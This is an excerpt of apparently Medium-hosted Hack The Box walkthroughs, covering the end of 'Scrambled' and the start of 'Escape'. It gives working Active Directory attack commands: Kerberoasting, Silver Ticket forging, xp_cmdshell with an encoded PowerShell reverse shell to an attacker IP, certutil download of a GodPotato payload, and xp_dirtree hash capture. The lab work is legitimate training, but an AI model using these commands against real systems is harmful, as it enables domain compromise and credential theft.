alt="" src="https://cdn-images-1.medium.com/max/1024/1*laU2psEcw_aW_S6c0Jmvcw.png" /><figcaption>Ports and services enumeration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-y4BzfuXQIXxTKQ84ribgQ.png" /><figcaption>Port 4411 discovery and enumeration</figcaption></figure><p>We utilize Netexec to identify the hostname of DC1 — though this is also discovered in the above Nmap scan.</p><pre>nxc smb $ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xULo1-WraYSzEjplBpSsOQ.png" /></figure><p>For DNS resolution, add to/etc/hosts</p><pre>echo &quot;$IP DC1 scrm.local DC1.scrm.local&quot; | sudo tee -a /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*3jPlk_Zu5K6HMQGZuD8Sww.png" /><figcaption>adding hosts for DNS resolution</figcaption></figure><p>We can then move over to the webpage and start looking at the News and Alerts. We observe that NTLM has been disabled due to a prior breach. We also notice that there is username spillage showing user ksimpson. In Password Resets we can see that if a user requests their credentials to be reset, it gets changed to their current username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zz6A7jOAgIL5aNz39TWg4Q.png" /><figcaption>News and Alerts</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*pZTNHzfgL6WPu1Nvr4dW3A.png" /><figcaption>Contacting IT Support</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*2pPfSyRzw9t_xPoT9ds5rQ.png" /><figcaption>Sales Orders App Troubleshooting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*oUGmYyNQrLmHBJuLpBRldw.png" /><figcaption>Password Resets</figcaption></figure><p>Now we want to verify that the potential credentials for user ksimpson have been defaulted to the username. We confirm that it works, but are met with what was cautioned before that we cannot use NTLM as an authentication method for this domain. — which means we will have to utilize Kerberos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbfpLrdOu3BvUJPCy_03yA.png" /><figcaption>NTLM restriction is in fact enabled</figcaption></figure><p>Unfortunately, the traditional smbclient is not working, even with the -k flag for Kerberos. Let’s go ahead and remove the defaultkrb5.conf and create another krb5.conf utilizing Netexec. We can then confirm the Ticket Granting Ticket (TGT) and utilize the newer flag --use-kerberos=required. Download the only file Network Security Changes.pdf.</p><pre>cat /etc/krb5.conf<br>sudo rm -r /etc/krb5.conf<br>sudo nxc smb $IP -u ksimpson -p &#39;ksimpson&#39;  --generate-krb5-file /etc/krb5.conf<br>export KRB5_CONFIG=/etc/krb5.conf<br>kinit ksimpson@SCRM.LOCAL<br>klist<br>smbclient -L //dc1.scrm.local/ --use-kerberos=required<br>smbclient //dc1.scrm.local/Public --use-kerberos=required<br>get &quot;Network Security Changes.pdf&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*-KTAhKKohlZi_rmkDciNag.png" /><figcaption>Enumeration of /etc/krb5.conf</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fLEslI3Rpi64RP2kvxZ_RQ.png" /><figcaption>Creation of new /etc/krb5.conf</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*ifN9mbqV4PfBHgYMaX2i3A.png" /><figcaption>Successful creation of Ticket and login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O-mXeJ15NOXQmYGjnG_lMA.png" /><figcaption>Exfiltration of Network Security Changes.pdf</figcaption></figure><p>You can also do it the way that<a href="https://0xdf.gitlab.io/2022/10/01/htb-scrambled-linux.html"> 0xdf’s </a>write-up does it, but it says You don&#39;t have permission , so kind of glad we did it the way above.</p><pre>impacket-smbclient -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local<br>ls<br>use Public<br>get Network Security Changes.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dR7j7ED3p9sbcz13QABthQ.png" /><figcaption>Permission Denied</figcaption></figure><p>Now let’s open Network Security Changes.pdf and see what the deal is. We can see that NTLM is disabled (which we know by now) and that we will need to use the Fully Qualified Domain Name (FQDN).</p><pre>xdg-open .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*1OlW5dxK5MF74COeWyOnKQ.png" /><figcaption>Bad day for this company</figcaption></figure><p>Since we currently have a successful ticket for user ksimpson we can go ahead and Kerberoast any users that have a ServicePrincipalName (SPN). We were successful in grabbing sqlsvc and cracked the hash, letting hashcat do the heavy lifting to get the user&#39;s password Pegasus60</p><pre>impacket-GetUserSPNs scrm.local/ksimpson -k -dc-host dc1.scrm.local -no-pass -request -outputfile kerberoast.txt<br>cat kerberoast.txt<br>hashcat kerberoast.txt /usr/share/wordlists/rockyou.txt -w 3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-arsQnwluOjBUEFa-QICQ.png" /><figcaption>Successful Kerberoast of sqlsvc</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYohtU1gM19NSrfapkjf8A.png" /><figcaption>Cracked hash for user sqlsvc</figcaption></figure><p>Now that we have the sqlsvc passwords, we can go ahead and conduct a Silver Ticket attack. We will need to first change our password into an NTLM Hash aka a NTHash, which we will use Cyberchef. We attempt to use Netexec to gather the domain sid but no luck, so we utilize impacket-getpac to cheese it and grab the domain sid. Then create the ticket using impacket-ticketer and use the ticket with impacket-mssql to log in.</p><pre><br>https://gchq.github.io/CyberChef/<br>type in `nthash`<br>input `Pegasus60<br>recieve `NThash`<br><br><br>nxc ldap 10.129.36.0 -k --get-sid<br>impacket-getPac -targetUser administrator scrm.local/sqlsvc:Pegasus60<br>impacket-ticketer -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator<br>export KRB5CCNAME=$(pwd)/administrator.ccache<br>klist<br>impacket-mssqlclient -k dc1.scrm.local<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*amQbLzGk_BLhQaAWpP7z2w.png" /><figcaption>Cyberchef</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_z0YXCRWBSHUVBDa-2dKeg.png" /><figcaption>Netexec Domain Sid failure</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*ZJWxPDTkxaOTC183UTHnUw.png" /><figcaption>Domain SID</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_u8q2Jc50Vlsnu3IVKb52A.png" /><figcaption>Successful Adminisator CCACHE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*qs1deV3CxhLRUKzk-kucNQ.png" /><figcaption>Succesful login</figcaption></figure><p>So now we need to recycle through enumeration. We want to always check the current database, then all the databases, the current user/system enumeration, and finally overall permissions.</p><pre>SELECT DB_NAME(); #check current database<br>SELECT name FROM sys.databases; #check all databases<br>SELECT CURRENT_USER; #Current user enumeration<br>SELECT SYSTEM_USER; #System user enumeration<br>SELECT * FROM fn_my_permissions(NULL, &#39;SERVER&#39;);  #check permissions<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*KYySyatmNKuZf0Or6TUs8A.png" /><figcaption>Enumeration of DB name and all DBs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*PZ6qzyvzixVVk_6Mw0VJZg.png" /><figcaption>Enumerate Users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*aTcUxiXo16fTDYrvNccQlw.png" /><figcaption>Enumerating Schema and System User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*HwMQfgkAyLf_amxey2wiDQ.png" /><figcaption>Enumerating permissions</figcaption></figure><p>Now that we have a little bit of a lay of the land, we can go ahead and start looking at the tables insides of the databases. We observe that UserImport actually has hardcoded credentials for user MiscSvc.</p><pre>SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;<br>SELECT * FROM ScrambleHR.dbo.Employees;<br>SELECT * FROM ScrambleHR.dbo.UserImport;<br>SELECT * FROM ScrambleHR.dbo.Timesheets;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*oG-XQ-rJt9htj--WC-a9OA.png" /></figure><p>So we noticed that we had pretty much every privilege on this account; we can go ahead and enable xp_cmdshell. Once we enable xp_cmdshell we can go ahead and pop a reverse shell that we create using <a href="https://www.revshells.com/"><em>Revshells</em></a>. Once on the reverse shell, we observe that we have SeImpersonatePrivilege so we can use my favorite potato, GodPotato.</p><pre>EXEC sp_configure &#39;show advanced options&#39;, 1;<br>RECONFIGURE;<br>EXEC sp_configure &#39;xp_cmdshell&#39;, 1;<br>RECONFIGURE;<br>sudo nc -lvnp 443<br>EXEC xp_cmdshell &#39;powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMgAxADUAIgAsADQANAAzACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDHInn8c4TilKdA3_f-GbA.png" /><figcaption>xp_cmdshell reverse shell execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h26vTMTWCBXIE6EuJZvMMw.png" /><figcaption>Reverse shell generation using Revshells</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*UxRFiBKN6hemZtlOqGjrsg.png" /><figcaption>SeImpersonatePrivilege</figcaption></figure><p>Before we can do a reverse shell with <a href="https://github.com/BeichenDream/GodPotato">GodPotato</a>, we need to verify which .NET version the host is using, and it appears to be using 4.0 <br>We will go ahead and download the binary, spin up our http-serverusing python3 and download it to the device using <a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">LOLBAS </a><a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">Certutil</a> on Terminal 1.</p><p>On Terminal 2, we will create a listener sudo nc -lvnp 444 to catch the execution of GodPotato. Once on the shell, we will grab the user flag user.txt</p><pre>EXEC xp_cmdshell &#39;dir C:\Windows\Microsoft.NET\Framework64\&#39;;<br><br><br>Terminal 1:<br>wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe<br>python3 -m http.server 8080<br>EXEC xp_cmdshell &#39;certutil -urlcache -f http://10.10.15.215:8080/GodPotato-NET4.exe C:\Windows\Temp\GP4.exe&#39;;<br>EXEC xp_cmdshell &#39;C:\Windows\Temp\GP4.exe -command &quot;whoami&quot;&#39;; #confirm it works<br><br><br>Terminal 2:<br>sudo nc -lvnp 4444<br>EXEC xp_cmdshell &#39;powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMgAxADUAIgAsADQANAAzACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA&#39;;<br>whoami<br>cd miscsvc<br>cd desktop<br>dir<br>more user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*H0DsMIYze9MQTmQ7PdnK7A.png" /><figcaption>Enumeration of .NET version</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cx95kyHFE554wprExj4vaQ.png" /><figcaption>Download of GodPotato and HTTP-Server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pln0wHMp1pen1MZtt_gclA.png" /><figcaption>Download GodPotato and confirmation it works</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkmoeQJJJgNWPU6icT1x9Q.png" /><figcaption>Reverse shell generation via Revshells</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z3cOh_UEwupDl_xwdC_hYA.png" /><figcaption>xp_cmdshell reverse shell execution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*0lrOygxkurHDwTwDjivgBQ.png" /><figcaption>Enumeration of user flag user.txt</figcaption></figure><p>Now that we have NT Authority\System we have free rein to move around through all of the shares. We can move into C:\Share\IT\App\Sales Order Client, we can see that there is a PE and DLL that we can exfiltrate.</p><pre>cd C:\<br>cd Shares<br>cd &quot;Shares Order Client&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*GFMiQoeMWfSaj9G0rGI_9Q.png" /><figcaption>Enumeration of shares</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*KL7niNuxy729mUqHyE-C5A.png" /><figcaption>Enumeration of a PE and DLL</figcaption></figure><p>So the fact that we have NT Authority\System, we can actually move into the user Administrators&#39; desktop and enumerate the root flag root.txt</p><pre>type C:\Users\Administrator\Desktop\root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*E_Cz1kjxkAyTtRPnItPMwQ.png" /><figcaption>Enumeration of root flag root.txt</figcaption></figure><p>If you are wanting to continue the box, this is the next step, such as utilizing smbclient to log on via MiscSvc and exfiltrating the PE and DLL you observed earlier.</p><pre>impacket-smbclient -k scrm.local/MiscSvc:ScrambledEggs9900@dc1.scrm.local -dc-ip dc1.scrm.local<br>shares<br>use IT<br>cd Apps<br>cd Sales Order Client<br>get ScrambleClient.exe<br>get ScrambleLib.dll<br>file ScrambleClient.exe<br>file ScrambleLib.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0WcOA0RrE0l8_nVLQqHIw.png" /><figcaption>Exfiltration of PE and DLL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vr4Ca_Nh6IR1CJh051rLsA.png" /><figcaption>Determining file type/structure of PE and DLL</figcaption></figure><p>Pretty much everything after this, you should follow <a href="https://0xdf.gitlab.io/2022/10/01/htb-scrambled.html">0xdf&#39;s</a> walkthrough, because I can&#39;t be bothered to do all of this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=866fb5861e01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Escape]]></title>
            <link>https://medium.com/@xNEED/htb-escape-1ac96e9e1f6e?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ac96e9e1f6e</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 19:50:01 GMT</pubDate>
            <atom:updated>2026-07-10T19:58:14.486Z</atom:updated>
            <content:encoded><![CDATA[<p>Retired medium box from <strong>Active Directory Exploitation </strong>path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*-uqH4qu7bhzS_JzuUJV7Xg.png" /><figcaption>Escape</figcaption></figure><p><em>Escape is a Medium difficulty Windows Active Directory machine that starts with an SMB share that guest authenticated users can download a sensitive PDF file. Inside the PDF file temporary credentials are available for accessing an MSSQL service running on the machine. An attacker is able to force the MSSQL service to authenticate to his machine and capture the hash. It turns out that the service is running under a user account and the hash is crackable. Having a valid set of credentials an attacker is able to get command execution on the machine using WinRM. Enumerating the machine, a log file reveals the credentials for the user </em><em>ryan.cooper. Further enumeration of the machine, reveals that a Certificate Authority is present and one certificate template is vulnerable to the ESC1 attack, meaning that users who are legible to use this template can request certificates for any other user on the domain including Domain Administrators. Thus, by exploiting the ESC1 vulnerability, an attacker is able to obtain a valid certificate for the Administrator account and then use it to get the hash of the administrator user.</em></p><p>As per always we need to check out some ports</p><pre>nmap -Pn -n -sVC $IP --min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5N4gRFxD_diZGXAZTV5Kg.png" /><figcaption>Enuemration of FQDN and MSSQL service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*ZOJOwAKhmEdPonjP3r1m9g.png" /><figcaption>MSSQL Service enumeration</figcaption></figure><p>We utilize Netexec to identify the hostname of DC — though this is also discovered in the above Nmap scan but never hurts to double tap.</p><pre>nxc smb $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaMWpTuzAzCtQ26MI0T3NA.png" /><figcaption>Host name enumeration</figcaption></figure><p>For DNS resolution, add to/etc/hosts</p><pre>echo &quot;$IP DC sequel.htb DC.sequel.htb&quot; | sudo tee -a /etc/hosts<br>cat /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*ej_Kockah7Swz6_kfiHavA.png" /><figcaption>DNS Resolution</figcaption></figure><p>Let’s check if we have the ability to conduct Null Session authentication.</p><pre>nxc smb $IP -u &#39;&#39; -p &#39;&#39; --users<br>nxc smb $IP -u &#39;&#39; -p &#39;&#39; --rid-brute<br>nxc smb $IP -u &#39;&#39; -p &#39;&#39; --pass-pol<br>nxc ldap $IP -u &#39;&#39; -p &#39;&#39; --groups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zws5abggS3uj0t8MFIL3sA.png" /><figcaption>Failing at Null Sessions</figcaption></figure><p>We are seeing that null authentications aren’t exactly working, so let’s move to using the guest account. We see that we have more success here than without any users; we are able to effectively utilize RID Bruteforcing to enumerate users in the environment, which is fantastic. We are also able to see that we can enumerate the network share Public which we are going to want to investigate.</p><pre>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39;<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; --users<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; --rid-brute<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; --rid-brute &gt; users.txt<br>grep &#39;SidTypeUser&#39; users.txt | awk -F&#39;\\\\&#39; &#39;{print $2}&#39; | awk &#39;{print $1}&#39;<br>grep &#39;SidTypeUser&#39; users.txt | awk -F&#39;\\\\&#39; &#39;{print $2}&#39; | awk &#39;{print $1}&#39; &gt; cleanedusers.txt<br>cat cleanedusers.txt<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bj3pb0esT0n-wmnmyIbAAw.png" /><figcaption>Enumeration of users via RID Bruteforcing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*smBJ4xEMYD5rH844j89cvA.png" /><figcaption>Cleaning up users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F5LCi04Az-zYu6nhoQuH7A.png" /><figcaption>Share enumeration</figcaption></figure><p>Now that we see that we have read access over Public share, let’s do some enumeration. We find that there is a lone file SQL Server Procedures.pdf so we can go ahead and download it either through smbclient or Netexec</p><pre>smbclient -L //$IP/ -U &#39;guest%&#39;<br>smbclient //$IP/Public -U &#39;guest%&#39;<br>get &quot;SQL Server Procedures.pdf&quot;<br><br>or<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; -M spider_plus<br>cat /home/nullxneed/.nxc/modules/nxc_spider_plus/$IP.json<br>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; -M spider_plus -o DOWNLOAD_FLAG=True</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Wl0z7IO83RdDVt_OPi7Ag.png" /><figcaption>Enumeration and exfiltration of PDF</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ClIVMMIlKboCg9sRwh-KIg.png" /><figcaption>Enumeration of files via Netexec</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*ezA9owFFc75Hnjm5kExy4Q.png" /><figcaption>Identification of file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xb6RoeXOlgkm-wUuoHrNYQ.png" /><figcaption>Exfiltration of PDF File</figcaption></figure><p>Now that we have downloaded the PDF, let’s actually take a look at it. The PDF identifies that there is a local MSSQL instance that was spun up on a Windows device. We also see that there was an account PublicUser with a password GuestUserCantWrite1 that should be able to sneak a peek at the database.</p><pre><br>xdg-open .<br>SQL Server Procedures.pdf<br><br>or #if used Netexec<br>/home/nullxneed/.nxc/modules/nxc_spider_plus/$IP/Public<br>SQL Server Procedures.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*c6NwSXRZCswiJtg1CThRuw.png" /><figcaption>Access from non domain joined machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*k3l-EdBVX5yYSAQRnzZXFA.png" /><figcaption>Enumeration of hard coded credentials</figcaption></figure><p>Let’s go ahead and jump on MSSQL and see what’s going on. As we start enumerating, we see that there really isn’t much that we can do, which is a bummer. We are able to enumerate users, such as sa, which is the equivalent of Administrator for MSSQL. We don’t have the ability to enable xp_cmdshell, which really tightens up our ability to pop a reverse shell.</p><pre>nxc mssql $IP -u PublicUser -p &#39;GuestUserCantWrite1<br>nxc mssql $IP -u PublicUser -p &#39;GuestUserCantWrite1&#39; --local-auth<br>impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@sequel.htb<br>SELECT CURRENT_USER;<br>SELECT SYSTEM_USER;<br>SELECT name FROM master.sys.server_principals;<br>SELECT * FROM fn_my_permissions(NULL, &#39;SERVER&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMVdKUNcuQoGA1AZnJchYQ.png" /><figcaption>Validation of user credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*YS5dcf7od2oJpK6nw1Xh9Q.png" /><figcaption>Validation of MSSQL client</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*VJbSz9nMMXn8GkidyLdmAQ.png" /><figcaption>Enumeration of users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*2X3fbFbKI7Q7aHUhQoL1KA.png" /><figcaption>Enumeration of user permissions</figcaption></figure><p>We have no luck trying to pop a reverse shell or conduct local privilege escalation (LPE). We do have the ability to use xp_dirtree to connect to a share that we control—and capture a user hash. We create a blank file, spin up impacket-smbserver, and point a query toward our smb server and collect the hash for user sql_svc <strong><em>NOT TO BE CONFUSED WITH </em></strong><strong><em>SVC_sql</em></strong></p><pre>ifconfig #grab your Tun0 ip address<br>nano file.txt #blank file<br>impacket-smbserver share pwd -smb2support<br>EXEC xp_dirtree &#39;\\$TUN0_IP\share\file.txt&#39;, 1,1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*sPrHYXqszNpCTOePswpmLQ.png" /><figcaption>Execution of xp_dirtree</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiXcL78mGQ8FMhAbmUGybw.png" /><figcaption>Hash capture for sql_svc</figcaption></figure><p>Once we capture the hash, let’s put it into a file and crack it with Hashcat. We could look up the MSSQL hash format, but we are going to let Hashcat do the heavy lifting. We successfully cracked the hash for user sql_svc and got the password REGGIE1234ronnie</p><pre>echo &#39;sql_svc::sequel:aaaaaaaaaaaaaaaa:a4c9cfdfc3793e559d18ad6c59f9e153:01010000000000000001b8d99110dd0108730d24cab4e58a000000000100100041004300420047007300420054004400030010004100430042004700730042005400440002001000770049005100440042006400470066000400100077004900510044004200640047006600070008000001b8d99110dd01060004000200000008003000300000000000000000000000003000002470e91c11ac7038c30626e56b89e3a7337529663adec196d92659d6cbafd04e0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310035002e003200310035000000000000000000&#39; &gt; sqlhashes.txt<br>cat sqlhashes.txt<br>hashcat sqlhashes.txt /usr/share/wordlists/rockyou.txt -w 3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VyQRP19voKhs8Cu91l7vew.png" /><figcaption>Creation of sqlhashes.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsDnECwxFDkF0CiMghwSgg.png" /><figcaption>Succesful hash crack</figcaption></figure><p>As per usual, we need to validate that the credentials actually, work and also try to be sneaking and dump hashes from winrm using Netexec but of course, no luck.</p><pre>nxc smb $IP -u sql_svc -p &#39;REGGIE1234ronnie&#39;<br>nxc ldap $IP -u sql_svc -p &#39;REGGIE1234ronnie&#39;<br>nxc winrm $IP -u sql_svc -p &#39;REGGIE1234ronnie&#39;<br>nxc mssql $IP -u sql_svc -p &#39;REGGIE1234ronnie&#39;<br><br>nxc ldap sequel.htb -u sql_svc -p &#39;REGGIE1234ronnie&#39; --kerberoasting output.txt<br>nxc ldap sequel.htb -u sql_svc -p &#39;REGGIE1234ronnie&#39; --asreproast output.txt<br>nxc winrm sequel.htb -u sql_svc -p &#39;REGGIE1234ronnie&#39; --dump-method cmd<br>nxc winrm sequel.htb -u sql_svc -p &#39;REGGIE1234ronnie&#39; --dump-method powershell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*59mLnYxSguQn621JWfpgSA.png" /><figcaption>Validation of user credentials</figcaption></figure><figure><img alt="" 